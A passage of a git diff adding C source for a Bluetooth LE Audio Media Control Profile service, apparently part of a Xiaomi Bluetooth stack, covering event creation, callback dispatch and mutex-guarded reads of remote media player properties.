+ +mcp_event_t* mcp_event_new(mcp_event_type_t event, bt_address_t* remote_addr, uint32_t mcs_id) +{ + return mcp_event_new_ext(event, remote_addr, mcs_id, 0); +} + +mcp_event_t* mcp_event_new_ext(mcp_event_type_t event, bt_address_t* remote_addr, uint32_t mcs_id, size_t size) +{ + mcp_event_t* mcp_event; + + mcp_event = (mcp_event_t*)malloc(sizeof(mcp_event_t) + size); + if (mcp_event == NULL) + return NULL; + + mcp_event->event = event; + memset(&mcp_event->event_data, 0, sizeof(mcp_event->event_data)); + if (remote_addr != NULL) + memcpy(&mcp_event->remote_addr, remote_addr, sizeof(bt_address_t)); + + mcp_event->event_data.mcs_id = mcs_id; + return mcp_event; +} + +void mcp_event_destory(mcp_event_t* mcp_event) +{ + free(mcp_event); +} diff --git a/service/profiles/leaudio/mcp/lea_mcp_service.c b/service/profiles/leaudio/mcp/lea_mcp_service.c new file mode 100644 index 0000000000000000000000000000000000000000..07d7547049f9afb8eff2982f0a5ede28452769a1 --- /dev/null +++ b/service/profiles/leaudio/mcp/lea_mcp_service.c @@ -0,0 +1,1260 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_mcp_service" + +#include <errno.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "adapter_internel.h" +#include "bt_addr.h" +#include "bt_lea_mcp.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "lea_mcp_event.h" +#include "lea_mcp_service.h" +#include "media_session.h" +#include "sal_lea_mcp_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Private Data + ****************************************************************************/ +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCP + +#define CHECK_ENABLED() \ + { \ + if (!g_mcp_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define MCP_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_mcp_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct +{ + bool started; + bts_mcs_info_s mcs_info; + callbacks_list_t* callbacks; + pthread_mutex_t device_lock; + void* media_session_handle; +} mcp_service_t; + +static mcp_service_t g_mcp_service = { + .started = false, + .callbacks = NULL, + .media_session_handle = NULL, +}; + +static void lea_mcp_process_message(void* data) +{ + mcp_event_t* msg = (mcp_event_t*)data; + + switch (msg->event) { + case MCP_MEDIA_PLAYER_NAME_CHANGED: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_MEDIA_PLAYER_ICON_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_MEDIA_PLAYER_ICON_URL: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_PLAYBACK_SPEED: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_SEEKING_SPEED: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_PLAYING_ORDER: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_PLAYING_ORDER_SUPPORTED: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_MEDIA_CONTROL_OPCODES_SUPPORTED: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_TRACK_CHANGED: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_TRACK_TITLE: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_TRACK_DURATION: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_TRACK_POSITION: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_MEDIA_STATE: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_MEDIA_CONTROL_REQ: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_SEARCH_CONTROL_RESULT_REQ: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_CURRENT_TRACK_SEGMENTS_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_CURRENT_TRACK_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_NEXT_TRACK_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_PARENT_GROUP_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_CURRENT_GROUP_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_SEARCH_RESULTS_OBJ_ID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + case MCP_READ_CCID: { + MCP_CALLBACK_FOREACH(g_mcp_service.callbacks, test_cb, &msg->remote_addr, msg->event); + break; + } + default: + BT_LOGW("%s, Unknown event: %d !", __func__, msg->event); + break; + } + mcp_event_destory(msg); +} + +static bt_status_t lea_mcp_send_msg(mcp_event_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_mcp_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * sal callbacks + ****************************************************************************/ +void lea_mcp_on_media_player_name(bt_address_t* addr, uint32_t mcs_id, size_t size, char* name) +{ + mcp_event_t* event; + + event = mcp_event_new_ext(MCP_MEDIA_PLAYER_NAME_CHANGED, addr, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + strcpy((char*)event->event_data.string1, name); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_media_player_icon_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_MEDIA_PLAYER_ICON_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_media_player_icon_url(bt_address_t* addr, uint32_t mcs_id, size_t size, char* url) +{ + mcp_event_t* event; + + event = mcp_event_new_ext(MCP_MEDIA_PLAYER_ICON_URL, addr, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + strcpy((char*)event->event_data.string1, url); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_playback_speed(bt_address_t* addr, uint32_t mcs_id, int8_t speed) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_PLAYBACK_SPEED, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueint8 = speed; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_seeking_speed(bt_address_t* addr, uint32_t mcs_id, int8_t speed) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_SEEKING_SPEED, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueint8 = speed; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_playing_order(bt_address_t* addr, uint32_t mcs_id, int8_t order) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_PLAYING_ORDER, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint8_0 = order; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_playing_orders_supported(bt_address_t* addr, uint32_t mcs_id, uint16_t orders) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_PLAYING_ORDER_SUPPORTED, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint16 = orders; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_media_control_opcodes_supported(bt_address_t* addr, uint32_t mcs_id, uint32_t opcodes) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_MEDIA_CONTROL_OPCODES_SUPPORTED, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint32 = opcodes; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_track_changed(bt_address_t* addr, uint32_t mcs_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_TRACK_CHANGED, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_track_title(bt_address_t* addr, uint32_t mcs_id, size_t size, char* title) +{ + mcp_event_t* event; + + event = mcp_event_new_ext(MCP_READ_TRACK_TITLE, addr, mcs_id, size); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + strcpy((char*)event->event_data.string1, title); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_track_duration(bt_address_t* addr, uint32_t mcs_id, int32_t duration) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_TRACK_DURATION, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueint32 = duration; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_track_position(bt_address_t* addr, uint32_t mcs_id, int32_t position) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_TRACK_POSITION, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueint32 = position; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_media_state(bt_address_t* addr, uint32_t mcs_id, uint8_t state) +{ + mcp_event_t* event; + BT_LOGD("%s, media state:%d ", __func__, state); + + event = mcp_event_new(MCP_READ_MEDIA_STATE, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint8_0 = state; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_media_control_result(bt_address_t* addr, uint32_t mcs_id, uint8_t opcode, uint8_t result) +{ + mcp_event_t* event; + BT_LOGD("%s, opcode:%d ,result:%d", __func__, opcode, result); + + event = mcp_event_new(MCP_MEDIA_CONTROL_REQ, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint8_0 = opcode; + event->event_data.valueuint8_1 = result; + + lea_mcp_send_msg(event); + + if (result != LEA_MEDIA_CONTROL_SUCCESS) { + BT_LOGW("%s, Failed to control remote device!", __func__); + return; + } + + if (opcode == MCP_MEDIA_CONTROL_PREVIOUS_TRACK) { + media_session_notify(&g_mcp_service.media_session_handle, MEDIA_EVENT_PREV_SONG, 0, NULL); + } else if (opcode == MCP_MEDIA_CONTROL_NEXT_TRACK) { + media_session_notify(&g_mcp_service.media_session_handle, MEDIA_EVENT_NEXT_SONG, 0, NULL); + } +} + +void lea_mcp_on_search_control_result(bt_address_t* addr, uint32_t mcs_id, uint8_t result) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_SEARCH_CONTROL_RESULT_REQ, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint8_0 = result; + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_current_track_segments_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_CURRENT_TRACK_SEGMENTS_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_current_track_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_CURRENT_TRACK_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) { + BT_LOGD("obj_id: %02x %02x %02x %02x %02x %02x", obj_id[0], + obj_id[1], obj_id[2], obj_id[3], obj_id[4], obj_id[5]); + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + } + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_next_track_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_NEXT_TRACK_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_parent_group_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_PARENT_GROUP_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_current_group_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_CURRENT_GROUP_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_search_results_object_id(bt_address_t* addr, uint32_t mcs_id, lea_mcp_object_id obj_id) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_SEARCH_RESULTS_OBJ_ID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (obj_id != NULL) + memcpy(&event->event_data.obj_id, obj_id, sizeof(lea_mcp_object_id)); + + lea_mcp_send_msg(event); +} + +void lea_mcp_on_content_control_id(bt_address_t* addr, uint32_t mcs_id, uint8_t ccid) +{ + mcp_event_t* event; + + event = mcp_event_new(MCP_READ_CCID, addr, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + event->event_data.valueuint8_0 = ccid; + + lea_mcp_send_msg(event); +} + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static bt_status_t bts_mcp_read_media_player_name(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_media_player_name(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_media_player_icon_object_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_media_player_icon_object_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_media_player_icon_url(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_media_player_icon_url(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_playback_speed(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_playback_speed(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_seeking_speed(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_seeking_speed(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_playing_order(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_playing_order(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_playing_orders_supported(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_playing_orders_supported(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_media_control_opcodes_supported(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_media_control_opcodes_supported(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_track_title(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_track_title(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_track_duration(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_track_duration(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_track_position(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_track_position(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_media_state(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_media_state(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_current_track_object_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_current_track_object_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_next_track_object_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_next_track_object_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_parent_group_object_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_parent_group_object_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_current_group_object_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_current_group_object_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_search_results_object_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_search_results_object_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_content_control_id(bt_address_t* addr) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_read_content_control_id(addr, g_mcp_service.mcs_info.sid); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_read_remote_mcs_info(bt_address_t* addr, uint8_t opcode) +{ + CHECK_ENABLED(); + bt_status_t status; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + switch (opcode) { + case MCP_MEDIA_PLAYER_NAME_CHANGED: { + status = bts_mcp_read_media_player_name(addr); + break; + } + case MCP_MEIDA_PLAYER_ICON_OBJECT_ID: { + status = bts_mcp_read_media_player_icon_object_id(addr); + break; + } + case MCP_MEIDA_PLAYER_ICON_URL: { + status = bts_mcp_read_media_player_icon_url(addr); + break; + } + case MCP_PLAYBACK_SPEED: { + status = bts_mcp_read_playback_speed(addr); + break; + } + case 